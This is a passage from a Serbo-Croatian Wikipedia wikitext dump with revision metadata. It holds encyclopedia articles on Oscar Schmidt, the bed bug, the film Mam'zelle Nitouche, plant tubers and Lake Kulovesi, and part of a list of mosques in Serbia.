| rgodine4 = | rep4 = | rgodine5 = | rep5 = | uspjesi = | stat1label = | stat1vrijednost = | stat2label = | stat2vrijednost = | stat3label = | stat3vrijednost = | HOF = | HOF_igrač = | HOF_trener = | FIBA_HOF_igrač = | CBBASKHOF_godina = | medalje = {{MedalCountry | {{flag|Brazil}} }} {{MedalCount |[[FIBA Svjetsko košarkaško prvenstvo|FIBA Svjetsko prvenstvo]]|0|0|1 |[[FIBA prvenstvo Amerika]]|0|0|1 |[[Olimpijske igre]]|0|0|0 |[[Panameričke igre]]|1|0|1 }} {{MedalCompetition|[[FIBA Svjetsko košarkaško prvenstvo|FIBA Svjetsko prvenstvo]]}} {{MedalBronze|{{flagicon|FIL}} [[FIBA Svjetsko prvenstvo 1978|Filipini 1978.]]|[[Košarkaška reprezentacija Brazila|Momčad]] }} {{MedalCompetition|[[FIBA prvenstvo Amerika]]}} {{MedalBronze|{{flagicon|MEX}} [[FIBA prvenstvo Amerika 1989|Meksiko 1989.]]|[[Košarkaška reprezentacija Brazila|Momčad]] }} {{MedalCompetition|[[Panameričke igre]]}} {{MedalBronze|{{flagicon|Portoriko}} [[Panameričke igre 1979|Portirko 1979.]]|[[Košarkaška reprezentacija Brazila|Momčad]] }} {{MedalGold|{{flagicon|SAD}} [[Panameričke igre 1987|Sjedinjene Države 1987.]]|[[Košarkaška reprezentacija Brazila|Momčad]] }} }} '''Oscar Daniel Bezerra Schmidt''' ([[Natal]], [[16. veljače]] [[1958.]] – [[São Paulo]], [[17. travnja]] [[2026.]]), [[brazil]]ski košarkaš i reprezentativac koji se smatra jednim od najboljih košarkaša svih vremena. U [[Španjolska|Španjolskoj]] je poznat kao '''Oscar Schmidt Bezerra''' ili samo '''Oscar''', a jedan od nadimaka u rodnom Brazilu mu je Mão Santa ([[srpskohrvatski]]: Sveta ruka). Sa svojih 205&nbsp;cm visine uglavnom je igrao kao [[nisko krilo]], mada je znao igrati i kao [[bek šuter]]. Rođen je u [[Natal]]u [[1958.]] godine. Schmidt se neslužbeno smatrao najboljim strijelcem u historiji košarke s ukupno 49,973 postignutih koševa (kada se kombiniraju klub i reprezentacija). Službeno, pak, držao je rekord za košarkaša s najdužom profesionalnom igračkom karijerom, koja je trajala čak 29 godina. Godine [[1991.]], [[FIBA]] ga je proglasila desetim od [[FIBA-inih 50 najboljih igrača (1991)|50 najboljih igrača]] u historiji. Godine [[2010.]] primljen je u [[FIBA-ina Kuća slavnih|FIBA Kuću slavnih]], a tri godine kasnije i u [[Kuća slavnih košarke|Kuću slavnih košarke]], iako nikada nije igrao u [[NBA]] ligi. Iako su ga [[New Jersey Nets]]i [[1984.]] godine izabrali na draftu, Schmidt je odbio cijeli niz prilika da igra u [[NBA]] ligi kako bi mogao igrati za [[Brazilska košarkaška reprezentacija|reprezentaciju]], a sve zato što do [[1989.]] godine [[NBA]] igrači nisu smjeli igrati i za reprezentaciju. Preminuo je iznenada [[17. travnja]] [[2026.]] godine u [[São Paulo|São Paulu]]. {{Najbolji strijelci FIBA Svjetskih prvenstava}} {{FIBA50}} {{Članovi FIBA Kuće slavnih}} {{Članovi Košarkaške kuće slavnih Naismith Memorial}} {{Authority control}} {{Životni vijek|1958|2026|Schmidt, Oscar}} [[Kategorija:Brazilski košarkaši]] [[Kategorija:Niska krila]] [[Kategorija:Bek šuteri]] [[Kategorija:Košarkaši na Ljetnim olimpijskim igrama 1980.]] [[Kategorija:Košarkaši na Ljetnim olimpijskim igrama 1984.]] [[Kategorija:Članovi FIBA Kuće slavnih]] [[Kategorija:Članovi Košarkaške kuće slavnih Naismith Memorial]] cpvbhjvqc2ms90lpwzzln8zst7r9qev 0 4497283 42602579 42195207 2026-05-27T17:20:31Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602579 wikitext text/x-wiki {{Taksokvir | ime = Krevetna stenica | slika = Bed bug, Cimex lectularius.jpg | širina_slika = 250px | zaglavlje_slike = ''Cimex lectularius'' | regnum = [[Životinje|Animalia]] | phylum = [[Zglavkari|Arthropoda]] | classis = [[Insekti|Insecta]] | ordo = [[Riličari|Hemiptera]] | subordo = [[Heteroptera]] | infraordo = [[Cimicomorpha]] | superfamilia = [[Cimicoidea]] | familia = [[Cimicidae]] | familia_authority = [[Pierre André Latreille|Latreille]], 1802 | subdivision_ranks = [[Subfamily|Subfamilies]], [[Genus|Genera]] & [[Vrsta|Species]] | subdivision = {{Collapsible list |framestyle = background-color:#F9F9F9 |title = '''Subfamily ''[[Afrociminae]]''''' |titlestyle = |liststyle = | *'''Genus ''[[Afrocimex]]''''' **''[[Afrocimex constrictus]]'' }} {{Collapsible list |framestyle = background-color:#F9F9F9 |title = '''Subfamily ''[[Cimicinae]]''''' |titlestyle = |liststyle = | *'''Genus ''[[Bertilia]]''''' *'''Genus ''Cimex''''' ** ''[[Cimex adjunctus]]'' ** ''[[Cimex antennatus]]'' ** ''[[Cimex brevis]]'' ** ''[[Cimex columbarius]]'' ** ''[[Cimex incrassatus]]'' ** ''[[Cimex latipennis]]'' ** ''Cimex lectularius'' ** ''[[Cimex hemipterus]]'' (''C. rotundatus'') ** ''[[Cimex pilosellus]]'' ** ''[[Cimex pipistrella]]'' *'''Genus ''[[Oeciacus]]''''' ** ''[[Oeciacus hirundinis]]''<ref>{{cite web |url=http://www.itis.gov/servlet/SingleRpt/SingleRpt?search_topic=TSN&search_value=107066 |title=''Oeciacus hirundinis'' (Lamarck, 1816) |year=1996 |author=[No authors listed] |publisher= Integrated Taxonomic Information System |accessdate=2010-09-15}}</ref> ** ''[[Oeciacus vicarius]]'' *'''Genus ''[[Paracimex]]''''' *'''Genus ''[[Propicimex]]''''' }} {{Collapsible list |framestyle = background-color:#F9F9F9 |title = '''Subfamily ''[[Cacodminae]]''''' |titlestyle = |liststyle = | *'''Genus ''[[Aphrania]]''''' *'''Genus ''[[Cacodomus]]''''' *'''Genus ''[[Crassicimex]]''''' *'''Genus ''[[Leptocimex]]''''' ** ''[[Leptocimex boueti]]'' *'''Genus ''[[Loxaspis]]''''' *'''Genus ''[[Stricticimex]]''''' }} {{Collapsible list |framestyle = background-color:#F9F9F9 |title = '''Subfamily ''[[Haematosiphoninae]]''''' |titlestyle = |liststyle = | *'''Genus ''[[Caminicimex]]''''' *'''Genus ''[[Cimexopsis]]''''' ** ''[[Cimexopsis nyctalis]]'' *'''Genus ''[[Haematosiphon]]''''' ** ''[[Haematosiphon inodorus]]'' *'''Genus ''[[Hesperocimex]]''''' ** ''[[Hesperocimex coloradensis]]'' ** ''[[Hesperocimex sonorensis]]'' *'''Genus ''[[Ornithocoris]]''''' ** ''[[Ornithocoris pallidus]]'' ** ''[[Ornithocoris toledoi]]'' *'''Genus ''[[Psitticimex]]''''' *'''Genus ''[[Synxenoderus]]''''' ** ''[[Synxenoderus comosus]]'' }} {{Collapsible list |framestyle = background-color:#F9F9F9 |title = '''Subfamily ''[[Latrocimicinae]]''''' |titlestyle = |liststyle = | *'''Genus ''[[Latrocimex]]''''' }} {{Collapsible list |framestyle = background-color:#F9F9F9 |title = '''Subfamily ''[[Primicimicinae]]''''' |titlestyle = |liststyle = | *'''Genus ''[[Bucimex]]''''' *'''Genus ''[[Primicimex]]''''' ** ''[[Primicimex cavernis]]'' }} }} '''Krevetna stenica''' ({{jez-lat|Cimex lectulartus}}), je vrsta kućne stenice koja pripada podfamiliji ({{jez-lat|Cimicinae}}).<ref>Matoničkin, I, Habdija, I, Primc - Habdija, B. ''Beskralješnjaci - bilogija nižih avertebrata,'' Školska knjiga, Zagreb, 1998.</ref> Ona je kosmopolitski [[insekti|insekt]] koji parazitira hraneći se [[krv]]lju čoveka, mačke, psa, i drugih domaćih životinja, ali i krvlju zeca, glodara (pacova i miševa) i raznih ptica. Krevetna stenica najaktivnija je noću kada izlazi iz svojih staništa (kreveta, dušeka i drugog nameštaja) i usnim aparatom za bodenje sisa, krv domaćina.<ref>Reinhardt, Klaus; Siva-Jothy, Michael T. (Jan 2007). ''"Biology of the Bed Bugs (Cimicidae)"''. Annual Review of Entomology 52: 351–374. doi:10.1146/annurev.ento.52.040306.133913. {{PMID|16968204}}. Archived from the original on 5 July 2010. Retrieved 26 May 2010.</ref> Na mestu uboda na koži domaćina, ona svojim izlučevinama stvara lokalnu reakciju u vidu crvenila praćenog svrabom. Krevetna stenica može biti jedan od vektora (prenosioca) i izazivača zaraznih bolesti.<ref>Goddard, J; deShazo, R (1 April 2009). ''"Bed bugs (Cimex lectularius) and clinical consequences of their bites"''. JAMA: the Journal of the American Medical Association 301 (13): 1358–66.</ref> == Raprostranjenost i staništa == Krevetna stenica je insekt koji nije sposobna da leti već živi kao ektoparazit sisara i ptica hraneći se njihovom krvlju. Krevetne stenice rasprostranjene su na svim kontinentima osim Antarktika. Češće su u tropskim i umerenim staništima jer su osetljive na temperaturu, koja se kreću ispod 13-15°S. Uglavnom vole suva i topla staništa grubih površina, gde se nagomilavaju u vidu grozdova. == Karakteristike == [[Datoteka:Bedbug bites.jpg|250px|mini|[[Eflorescencije]] na licu i vratu nastale nakon ujeda krevetne stenice]] Krevetne stenice su najaktivnije u noćnim satima kada nema vibracija i spoljašnjeg osvetljenja. Najčešće ih privlači izdahnuti ugljen-dioksid (koji eliminišu iz organizma, preko disajnih puteva, čovek i drugi sisari) i koža domaćina, iz koje sisaju krv. U genetskom kodu krevetne stenice ugrađena je spsobnost insekta da registruje razliku između količine ugljen-dioksida koju neka osoba ispušta tokom sna za ili u budnom stanju. Zato u budnom stanju stenica nikad ne ujeda čoveka. Kućna stenica može biti uzrok brojnih zdravstvenih problema, uključujući osip na koži, alergijske reakcije, i psihološke simptome.<ref name=GP2009>{{cite journal |author=Doggett SL, Russell R |title=Bed bugs&nbsp;– What the GP needs to know |journal=Aust Fam Physician |volume=38 |issue=11 |pages=880–4 |date=November 2009 |pmid=19893834 |url=}}</ref> === Građa === Celo telo krevetne stenice pokriveno je dlačicama. Glava je mala i na njoj se nalaze ispupčene i dobro razvijene oči kao i antene (imaju 4 članka). Usni aparat je prilagođen za bodenje i sisanje pomoću rilice. Prednja krila su u vidu veoma redukovanih polukrilaca ({{jez-lat|hemielitre}}), dok zadnja krila ne postoje. Tri para nogu sastoji se od po 6 članaka. Trbušni deo je ovalnog oblika i sastoji se od 8 segmenata. === Razmnožavanje === Ženka polaže, na razna mesta, i do pet jaja dnevno, ili ukupno oko 200 jaja. Iz jajeta, u zavisnosti od okolne temperature, izležu se larve, male kućne stenice, nakon 5-22 dana. Nakon petog presvlačenja polno sazreva. === Životni ciklus === Larva u proseku, u jednom sisanju, usisa 5&nbsp;mg, a ženka oko 7&nbsp;mg krvi. Stenica najčešće bode noću a proces sisanja krvi traje u proseku 10 minuta. Kućna stenica u proseku živi do godinu dana, a glad podnosi i do 6 meseci. == Infestacija == {{glavni|Infestacija}} Stenice se mogu zaraziti sa najmanje 28 ljudskih patogena, među kojima su pronađeni [[Meticilin rezistentni stafilokokus aureus]] (MRSA),<ref>{{cite web |last=Melnick |first=Meredith |url=http://healthland.time.com/2011/05/12/thought-bed-bugs-were-bad-try-bed-bugs-with-mrsa/ |title=Study: Bedbugs May Carry MRSA; Germ Transmission Unclear &#124; TIME.com |publisher=Healthland.time.com |date=2011-05-12 |accessdate=27.5.2014. |archive-date=2020-01-14 |archive-url=https://web.archive.org/web/20200114141011/http://healthland.time.com/2011/05/12/thought-bed-bugs-were-bad-try-bed-bugs-with-mrsa/ |url-status=dead }}</ref> i Vankomicin rezistentan enterokokus (VRE).<ref>{{cite web|url=http://www.webmd.com/skin-problems-and-treatments/news/20110511/do-bedbugs-spread-mrsa |title=Do Bedbugs Spread MRSA and VRE? |publisher=Webmd.com |date=2011-05-11|accessdate=27.5.2014}}</ref> Brojne studije nisu pouzdano utvrdila da je ovaj insekt u stanju da prenese ove [[patogen]]e na ljude,<ref>Kolb, A., et al. "Bedbugs." Dermatologic Therapy 22.4 (2009): 347–352. CAB Abstracts. EBSCO. Web. 5 December 2010.</ref> a niz kožnih manifestacija koja stenica izaziva su bez vidljivih efekata na stvorenim plikovima.<ref name="Andrews">{{cite book |author=James, William D. |title=Andrews' Diseases of the Skin: clinical Dermatology |url=https://archive.org/details/andrewsdiseaseso0000jame_10ed |publisher=Saunders Elsevier |year=2006 |isbn=0-7216-2921-0 |oclc= |last2=Berger |first2=Timothy G. |display-authors=3}}</ref> ;Otkrivanje Dijagnoza infestacije postavlja se na osnovu pronalaženja krevetnih stenica u kući, ili na mestu privremenog boravka obolele osobe sa karakteristističnim kožnim promenama,<ref name=GP2009/> Na infestiranom prostoru otkrivaju se različiti razvojni oblici ili fleke na nameštaju od njihovog fecesa. ;Suzbijanje Sprečavanje infestacije podrazumeva eliminaciju insekata u životnoj sredini primenom odgovarajućih insekticida.<ref name=GP2009/> Uništavanje stenica je složen proces koji zahteva primenu pored tretmana pesticidima i mehaničke mere poput usisavanja, tretman toplotom itd. Poseban problem predstavlja činjenica da su stenice tokom godina razvile rezistentnost na određene pesticide, što zahteva češće ponavljanje zaprašivanja različitim preparatima. Najefikasniji način eliminacije u naseljenim objektima je toplotni tretman. Objekat se specijalnim grejalicama i ventilatorima zagreje na nekih 50 stepeni i ta se temperatura održava 4-6 sati. Toplota preko 42 C eliminiše sve stadijume života stenica, od jaja do odraslih insekata. Jedina restrikcija je to sto se iz naseljenog objekta moraju ukloniti predmeti osetljivi na visoke temperature. Stenice su u današnje vreme rezistentne na DDT, koji je uz to i zabranjen u mnogim zemljama. Pored pesticidnog spreja i praha može se koristiti i detaljno i frekventno usisavanje koje pomaže u fizičkoj eliminaciji jaja i odraslih insekata. == Izvori == {{reflist|2}} == Literatura == {{refbegin|2}} * Krunić, M ''Zoologija invertebrata 1'', Naučna knjiga, Beograd, 1977. * Krunić, M ''Zoologija invertebrata 2'', Naučna knjiga, Beograd, 1979. * Mariček, Magdalena, Ćurčić, B, Radović, I. ''Specijalna zoologija'', Naučna knjiga, Beograd, 1986. * Biblioteka Planeta Zemlja i život na njoj, ''Čovek i životinjski svet'', ZUNS i Srpsko biološko društvo, Beograd, 1987. * Dogelj, V,A: ''Zoologija beskičmenjaka'', Naučna knjiga, beograd, 1971. * Marcon, E, Mongini, M. ''Sve životinje sveta,'' IRO Vuk Karadžić, Beograd, 1986. * Petrov, Brigita, Radović, I,Miličić, Dragana, Petrov, I, ''Opšta i sistematska zoologija'' (praktikum), Biološki fakultet, Beograd, 2000 * Radović, I, Petrov, Brigita. ''Raznovrsnost života 1 - struktura i funkcija'', Biološki fakultet Beograd i Stylos Novi Sad, Beograd, 2001. * Ratajac, Ružica ''Zoologija za studente Poljoprivrednog fakulteta'', PMF u Novom Sadu i MP Stylos Novi Sad, 1995. {{refend}} == Vanjske veze == {{Commonscat|Cimex lectularius}} * [http://www.uky.edu/Agriculture/Entomology/entfacts/struct/ef636.htm Hoja informativa sobre chinches de la Universidad de Kentucky] {{Webarchive|url=https://web.archive.org/web/20051221041811/http://www.uky.edu/Agriculture/Entomology/entfacts/struct/ef636.htm |date=2005-12-21 }} * [http://medent.usyd.edu.au/fact/bedbugs.html Universidad de Sidney y Departamento de Entomología Médica del Hospital Westmead - Página web sobre chinches] {{Webarchive|url=https://web.archive.org/web/20090628150200/http://medent.usyd.edu.au/fact/bedbugs.html |date=2009-06-28 }} * [http://entomology.ifas.ufl.edu/creatures/urban/bed_bug.htm Sobre chinches de la Universidad de Florida. Página web de criaturas destacadas] *{{cite web |last1 = Pollack | first1 = Richard |last2 = Alpert | first2 = Gary |title = Bedbugs: Biology and Management |publisher = Harvard School of Public Health |year = 2005 |url = http://www.hsph.harvard.edu/bedbugs/ |accessdate = 2010-06-21 | archiveurl= https://web.archive.org/web/20100620094043/http://www.hsph.harvard.edu/bedbugs/| archivedate= 20 June 2010 <!--DASHBot-->| deadurl= no}} * {{YouTube|WfKCcSPCOQo|National Geographic segment on Bed bugs}} * [http://www.pestworld.org/pest-guide/bed-bugs/bed-bugs/ Bed Bug Fact Sheet] highlights prevention tips as well as information on habits, habitat and health threats *[http://www.nyc.gov/html/doh/html/vector/vector-faq1.shtml "Vector surveillance and control: Bed bug fact sheet"] {{Webarchive|url=https://web.archive.org/web/20100812070214/http://www.nyc.gov/html/doh/html/vector/vector-faq1.shtml |date=2010-08-12 }} NYC Department of Health and Mental Hygiene 12 January 2008 *[http://npic.orst.edu/pest/bedbug.html Understanding and Controlling Bed Bugs – National Pesticide Information Center] *[http://cisr.ucr.edu/bed_bugs.html CISR: Center for Invasive Species Research] More information on Bed Bugs, with lots of photos and video *[http://www.epa.gov/bedbugs/ EPA bedbugs information page] [[Kategorija:Kukci]] 3dgelg95rb81c3ues9ti4nfh0blfr36 0 4497597 42602720 41827343 2026-05-28T11:57:21Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602720 wikitext text/x-wiki {{Infokutija film | naslov = Mam'zelle Nitouche | slika = | opis = [[Pier Angeli]] i [[François Guérin]] na promotivnoj fotografiji za film | director = [[Yves Allégret]] | producer = Paris Films Production (Paris) | writer = [[Marcel Achard]]<br />[[Yves Allégret]] | starring = [[Fernandel]]<br>[[Pier Angeli]]<br>[[François Guérin]]<br>[[Louis de Funès]] | music = [[Georges Van Parys]] | cinematography = | editing = | distributor = [[Lux Film]] | released = {{Filmdate|1954|4|21|df=y}} | runtime = 90 min. | country = {{flag|Francuska}}<br>{{flag|Italija}} | awards = | language = francuski | budget = | preceded_by = | followed_by = }} '''''Mam'zelle Nitouche''''' je [[francuska|francusko]]-[[italija]]nska filmska komedija snimljena 1954. godine u režiji [[Yves Allégret|Yvesa Allegreta]]. Predstavlja [[remake]] [[Mam'zelle Nitouche (film, 1931)|istoimenog]] crno-bijelog filma koga je 1931. godine režirao Allgretov brat [[Marc Allegret|Marc]], odnosno adaptaciju [[Mam'zelle Nitouche|istoimene operete]]. Protagonist, koga tumači [[Fernandel]] je crkveni orguljaš koji pod pseudonimom piše operete, a radnja prikazuje komplikacije koje nastanu kada lijepa djevojka (čiji lik tumači [[Pier Angeli]]) dođe živjeti u vojni garnizon. == Uloge == * [[Fernandel]] : Célestin, orguljaš, također poznat i kao kompozitor Floridor * [[Pier Angeli]] : Denise de Flavigny i Mlle Nitouche * [[Jean Debucourt]] : major Léon de Longueville, zapovjednik * [[Renée Devillers]] : najka, sestra zapovjednika * [[Michèle Cordoue]] : Corinne, glumica, Floridorova učiteljica i zapovjednikova štićenica * [[François Guérin]] : poručnik André La Vauzelle * [[Nerio Bernardi]] : italijanski trgovac * [[Hélène Tossy]] : supruga zapovjednika * [[Georges Chamarat]] : zatsvanik * [[Margo Lion]] : Léontine, sestra * [[Louis de Funès]] : feldmaršal domova Petrot == Izvori == {{Reflist}} == Vanjske veze == * {{IMDb title|id=0046030}} * [http://filmsdefrance.com/FDF_Mam_zelle_Nitouche_rev.html Mam'zelle Nitouche (1954)] {{Webarchive|url=https://web.archive.org/web/20121025114320/http://filmsdefrance.com/FDF_Mam_zelle_Nitouche_rev.html |date=2012-10-25 }} at the ''Films de France'' {{Yves Allégret}} {{Normativna kontrola}} [[Kategorija:Italijanski filmovi]] [[Kategorija:Francuski filmovi]] [[Kategorija:Filmske komedije]] bl04s2g5ip5dl36gw6zl55hhnd41iwt 0 4536828 42602584 42422885 2026-05-27T17:52:37Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602584 wikitext text/x-wiki [[Datoteka:Potatoes.jpg|mini|desno|200p|Krtole [[krompir]]a]] '''Krtola''', '''gomolj''' ili '''tuber''' {{jez-lat|tuber}} je tip metamorfoze [[stablo|stabla]] ili [[koren]]a, na osnovu čega se i dele na ''stablove'' i ''korenske krtole''. == Stablove krtole == '''Stablove krtole''' nastaju intenzivnim primarnim ili sekundarnim debljanjem [[hipokotil]]a (''prave stablove krtole''), ili se razvijaju iz jedne ili više internodija [[izdanak|izdanka]]. Najčešće funkcije krtola su skladištenje rezervnih materija (prvenstveno [[skrob]]a), preživljaanje nepovoljnih uslova sredine i [[reprodukcija|razmnožavanje]]. Prave stablove krtole se razvijaju kod pojedinih jednogodišnjih ([[ciklama]]) i dvogodišnjih biljaka ([[rotkvica]], [[cvekla]]). Krtola koja nastaje od internodija stabla može se uočiti kod [[keleraba|kelerabe]]. Krtole [[krompir]]a nastaju na krajevima plagiotropnih podzemnih internodija (stolona, vreža) a služe za skladištenje skroba i razmnožavanje. == Korenske krtole == '''Korenske krtole''' nastaju zadebljavanjem lateralnih korenova i zadržavaju njihove [[anatomija|anatomske]] karakteristike (prisustvo korenske kape, nepostojanje lisnih zametaka). == Literatura == * Strasburger E, Noll F, Schenck H, Schimper AF, Ziegler H, von Denffer D, Devidé Z. 1988. Udžbenik botanike za više škole – Morfologija i fiziologija. Školska knjiga: Zagreb. {{ISBN|86-03-99103-0}} == Vanjske veze == {{commons category|Tubers}} * [http://www.foodsubs.com/Tubers.html Cook's Thesaurus] {{Webarchive|url=https://web.archive.org/web/20201112023427/http://www.foodsubs.com/Tubers.html |date=2020-11-12 }} has a good inventory of tuber varieties. [[Kategorija:Biljni organi]] taygrejb9oqp6v8neiu2wdr2xg01qs2 0 4542165 42602590 42403011 2026-05-27T18:38:33Z InternetArchiveBot 155863 Rescuing 3 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602590 wikitext text/x-wiki {{Infokutija jezero | ime = Kulovesi | drugo_ime = | slika = Kulovesi.jpg | slika_širina = 260px | slika_opis = | kontinenti = [[Evropa]] | regije =[[Skandinavija]] | države = {{flag|Finska}} | pokrajine= [[Pirkanmaa]] | gradovi= | naselja = | vrsta= [[Protočno jezero|protočno]] | površina=36.42<ref name=sve/> | volumen= | visina=57.5 | obala =152.77 | dužina =12 | širina = | dubina =36<ref name=sve/> | otoci =Salonsaari, Latosaari, Kutalansaari, Urhattu | sliv = | pritoke=[[Nokianvirta]] | odljev = [[Rautavesi (Sastamala)|Jezero Rautavesi]] | salinitet = | broj_vrsta = | zaš_područja = | mostovi = | brane = | plovnost = | luke = | kol_robe = | karta = | karta_širina = | karta_opis = | lok_karta = | alt_karta = | širina-st = 61 | širina-min =27 | širina-sek = 0 | širina-oznaka =N | dužina-st = 23 | dužina-min =12 | dužina-sek = 0 | dužina-oznaka =E | iso-regija = | lok_karta_opis = | fusnote = }} '''Kulovesi''' je [[jezero]] na [[zapad]]u [[Finska|Finske]] u [[Finske regije|regiji]] [[Pirkanmaa]], stoto po veličini u zemlji.<ref name=kulo>{{cite web | url =http://www.jarviwiki.fi/wiki/Kulovesi_%2835.132.1.001%29 | title =''Kulovesi'' | accessdate =22. 09. 2015 | language =engleski | publisher =Lake & Sea | archive-date =2016-03-05 | archive-url =https://web.archive.org/web/20160305123328/http://www.jarviwiki.fi/wiki/Kulovesi_(35.132.1.001) | url-status =dead }}</ref> == Karakteristike == Jezero Kulovesi leži [[zapad]]no od grada [[Nokia (Finska)|Nokije]], izduljeno je nekih dvanaestak [[km]], a široko do 2&nbsp;km. Kulovesi se nastavlja na [[Rautavesi (Sastamala)|Jezero Rautavesi]], a ono odmah na [[Liekovesi|Jezero Liekovesi]], pa ta jezera zajedno imaju nekih tridesetak km. Sva ta jezera su zapravo dio [[sliv]]a [[Rijeka (vodotok)|rijeke]] [[Kokemäenjoki]]. Jezero dobija vode od rijeke [[Nokianvirta]], odnosno iz [[Pyhäjärvi (Tampere)|Jezera Pyhäjärvi]] Jezero Kulovesima ima površinu od 36.42 [[km²]]<ref name=sve/>, leži na 57.5 [[metar]]a [[nadmorska visina|nadmorske visine]], prosječna dubina mu iznosi 7.14 a najveća 36.66 [[metar]]a.<ref name=sve>{{cite web | url =http://www.jarviwiki.fi/wiki/Kulovesi_%2835.132.1.001%29 | title =''Rautavesi - Liekovesi'' | accessdate =22. 09. 2015 | language =engleski | publisher =Lake & Sea | archive-date =2016-03-05 | archive-url =https://web.archive.org/web/20160305123328/http://www.jarviwiki.fi/wiki/Kulovesi_(35.132.1.001) | url-status =dead }}</ref> Jezero ima oblik slova '''L''', koji formira duboki zaljev - Kutalanvuolle. Od jezera [[Rautavesi (Sastamala)|Rautavesi]] ga razvaja [[otok]] Salonsaari i otočić Isosaaari == Reference == {{reflist}} == Vanjske veze == * [http://www.jarviwiki.fi/wiki/Kulovesi_%2835.132.1.001%29 ''Kulovesi'' na portalu Lake & Sea] {{Webarchive|url=https://web.archive.org/web/20160305123328/http://www.jarviwiki.fi/wiki/Kulovesi_(35.132.1.001) |date=2016-03-05 }} {{en icon}} [[Kategorija:Jezera u Finskoj]] 29w02xa6xc61lt82ptcb11q8lfxy4y5 0 4544590 42602661 42185810 2026-05-28T04:26:11Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602661 wikitext text/x-wiki Na ovoj stranici nalaziće se spisak svih značajnih džamija na teritoriji Republike Srbije. {|class="wikitable sortable" |- !align=left|Naziv!! style="text-align:left;" class="unsortable"|Fotografija!!align=left|Adresa!!align=left|Mesto!!align=left|Okrug!!align=left|Period nastanka!!align=left|Kategorija |- |[[Bajrakli džamija u Beogradu|Bajrakli džamija (Beograd)]]<ref>[http://spomenicikulture.mi.sanu.ac.rs/spomenik.php?id=497 http://spomenicikulture.mi.sanu.ac.rs Bajrakli džamija]</ref>||[[Datoteka:Bajraklidzamija.jpg|160x160px|center|none]]||Gospodar Jevremova 11||[[Beograd]]||[[Beograd]]||oko 1575. godine|| Kulturno dobro od velikog značaja |- |[[Batal džamija]] <br />do 1879. Ejnehan-begova džamija<ref>[http://arhiva.glas-javnosti.rs/arhiva/2005/01/12/srpski/BG05011109.shtml http://arhiva.glas-javnosti.rs Batal džamija]</ref>||[[Datoteka:Batal-dzamija.jpg|160x160px|center|none]]||nalazila se na mestu današnjeg [[Dom Narodne skupštine Republike Srbije|Doma Narodne skupštine]]||[[Beograd]]||[[Beograd]]||1585. godine <br />(srušena 1878. godine)|| - |- |[[Turbe džamija]] <br />ranije Džamija Habil efendije||[[Datoteka:Turbe dzamija.jpg|160x160px|center|none]]||nalazila se u bloku sadašnjih ulica: Simine, Francuske, Gospodar Jevremove i Dositejeve||[[Beograd]]||[[Beograd]]||početkom 17. veka|| - |- |[[Gazi Ali-begova džamija]]<ref>[http://spomenicikulture.mi.sanu.ac.rs/spomenik.php?id=20 http://spomenicikulture.mi.sanu.ac.rs Gazi Ali-begova džamija]</ref>||[[Datoteka:Xhamia Gazi Ali Begu - Vushtrri 01.JPG|160x160px|center|none]]||-||[[Vučitrn]]||[[Kosovskomitrovački okrug]]||sredina 15. veka|| - |- |[[Hadum džamija u Đakovici|Hadum džamija]]<ref>{{Cite web |title=http://dtk.rks-gov.net Hadum džamija |url=http://dtk.rks-gov.net/tkk_objekti_sr.aspx?id=2066 |access-date=2015-10-31 |archivedate=2016-03-04 |archiveurl=https://web.archive.org/web/20160304201203/http://dtk.rks-gov.net/tkk_objekti_sr.aspx?id=2066 |deadurl=yes }}</ref><ref>[http://spomenicikulture.mi.sanu.ac.rs/spomenik.php?id=73 http://spomenicikulture.mi.sanu.ac.rs Hadum džamija]</ref>||||Ismail Qemajli, Velika Čaršija||[[Đakovica]]||[[Pećki upravni okrug]]||1585. godine|| Kulturno dobro od izuzetnog značaja |- |[[Sinan pašina džamija u Kačaniku|Sinan pašina džamija]]<ref>[http://spomenicikulture.mi.sanu.ac.rs/spomenik.php?id=123 http://spomenicikulture.mi.sanu.ac.rs Sinan-pašina džamija]</ref>||||-||[[Kačanik]]||[[Kosovski upravni okrug]]||1594. godine|| Spomenik kulture |- |[[Bali-begova džamija u Nišu|Bali-begova džamija]]<ref>[http://spomenicikulture.mi.sanu.ac.rs/spomenik.php?id=1386 http://spomenicikulture.mi.sanu.ac.rs Bali-begova džamija]</ref>||[[Datoteka:Bali Begova Dzamija.jpg|160x160px|center|none]]||Niška tvrđava||[[Niš]]||[[Nišavski upravni okrug]]||1521. godine|| Kulturno dobro od velikog značaja |- |[[Islam-agina džamija]] ili <br />Hadrović džamija<ref>{{Cite web |title=http://oizpalilula.com džamije na Balkanu, Islam-agina džamija |url=http://oizpalilula.com/index.php/dzamije-na-balkanu/951-islam-agina-dzamija-nis |access-date=2015-10-31 |archivedate=2015-06-23 |archiveurl=https://web.archive.org/web/20150623062028/http://oizpalilula.com/index.php/dzamije-na-balkanu/951-islam-agina-dzamija-nis |deadurl=yes }}</ref>||[[Datoteka:Islam-agina džamija, Niš, Srbija, 05.JPG|160x160px|center|none]]||Generala Milojka Lešjanina||[[Niš]]||[[Nišavski upravni okrug]]||1870. godine|| - |- |[[Hasan-begova džamija]]||[[Datoteka:Hasan-beg's Mosque 3.jpg|160x160px|center|none]]||Šumatovačka||[[Niš]]||[[Nišavski upravni okrug]]||1737. godine|| - |- |[[Altun-alem džamija]]<ref>[http://spomenicikulture.mi.sanu.ac.rs/spomenik.php?id=781 http://spomenicikulture.mi.sanu.ac.rs Altun-alem džamija]</ref><ref>{{Cite web |title=http://www.tonp.rs/ islamska kulturna baština u Srbiji |url=http://www.tonp.rs/osetite/kulturna%20bastina/islamska/ |access-date=2015-10-31 |archive-date=2018-09-17 |archive-url=https://web.archive.org/web/20180917125625/http://www.tonp.rs/osetite/kulturna%20bastina/islamska/ |dead-url=yes }}</ref>||[[Datoteka:Altun Alem Mosque Novi Pazar.jpg|160x160px|center|none]]||1. maja 79||[[Novi Pazar]]||[[Raški okrug]]||prva polovina XVI veka|| Kulturno dobro od velikog značaja |- |Arap džamija ili <br />[[Hasan Čelebijina džamija]]<ref>{{Cite web |title=http://www.androidvodic.com verski objekti, Novi Pazar, Arap džamija 